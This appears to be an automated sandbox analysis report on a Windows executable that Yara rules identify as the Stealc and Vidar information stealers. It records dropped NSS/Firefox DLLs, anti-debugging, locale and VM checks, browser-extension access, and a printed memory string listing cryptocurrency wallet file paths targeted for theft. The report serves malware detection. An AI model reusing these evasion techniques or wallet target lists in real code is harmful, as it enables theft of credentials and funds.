Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: NJna3TEAEr.exe, 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: NJna3TEAEr.exe, 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002F9C10 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_002F9C10

Source: NJna3TEAEr.exe

Static PE information: real checksum: 0x4e517 should be: 0x5baaf

Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002FB035 push ecx; ret		0_2_002FB048
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C60B536 push ecx; ret		0_2_6C60B549

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

0_2_002F9C10

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-72145

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

API coverage: 7.9 %

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_002EE430
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002F38B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_002F38B0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002F4910
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_002EBE70
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_002F3EA0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002EF6B0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_002EDA80
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002E16D0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_002EED20
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002F4570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_002F4570
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002EDE10

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002E1160 GetSystemInfo,ExitProcess,

0_2_002E1160

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: FHDHCAAK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: FHDHCAAK.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: FHDHCAAK.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: FHDHCAAK.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: FHDHCAAK.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: FHDHCAAK.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FHDHCAAK.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: FHDHCAAK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: FHDHCAAK.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: FHDHCAAK.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware(OfJ
Source: FHDHCAAK.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: FHDHCAAK.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: FHDHCAAK.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: FHDHCAAK.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: FHDHCAAK.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: FHDHCAAK.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: FHDHCAAK.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: FHDHCAAK.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: FHDHCAAK.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: FHDHCAAK.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: FHDHCAAK.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: FHDHCAAK.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: FHDHCAAK.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: FHDHCAAK.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: FHDHCAAK.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: FHDHCAAK.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: FHDHCAAK.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FHDHCAAK.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: FHDHCAAK.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: FHDHCAAK.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: FHDHCAAK.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	API call chain: ExitProcess graph end node	graph_0-72132
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	API call chain: ExitProcess graph end node	graph_0-72129
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	API call chain: ExitProcess graph end node	graph_0-72173
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	API call chain: ExitProcess graph end node	graph_0-73308
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	API call chain: ExitProcess graph end node	graph_0-72152
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	API call chain: ExitProcess graph end node	graph_0-72144
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	API call chain: ExitProcess graph end node	graph_0-71957

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002FAD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_002FAD48

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002E45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_002E45C0

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

0_2_002F9C10

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002F9750 mov eax, dword ptr fs:[00000030h]

0_2_002F9750

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002F7850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_002F7850

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002FAD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_002FAD48
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002FCEEA SetUnhandledExceptionFilter,	0_2_002FCEEA
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002FB33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_002FB33A
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C60B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C60B66C
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C60B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C60B1F7
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C7BAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C7BAC62

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: NJna3TEAEr.exe, type: SAMPLE
Source: Yara match	File source: Process Memory Space: NJna3TEAEr.exe PID: 1220, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_002F9600

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_6C60B341 cpuid

0_2_6C60B341

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_002F7B90

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002F6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_002F6920

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002F7850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_002F7850

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002F7A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_002F7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: NJna3TEAEr.exe, type: SAMPLE
Source: Yara match	File source: 0.0.NJna3TEAEr.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NJna3TEAEr.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2009593199.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NJna3TEAEr.exe PID: 1220, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: NJna3TEAEr.exe PID: 1220, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000171F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
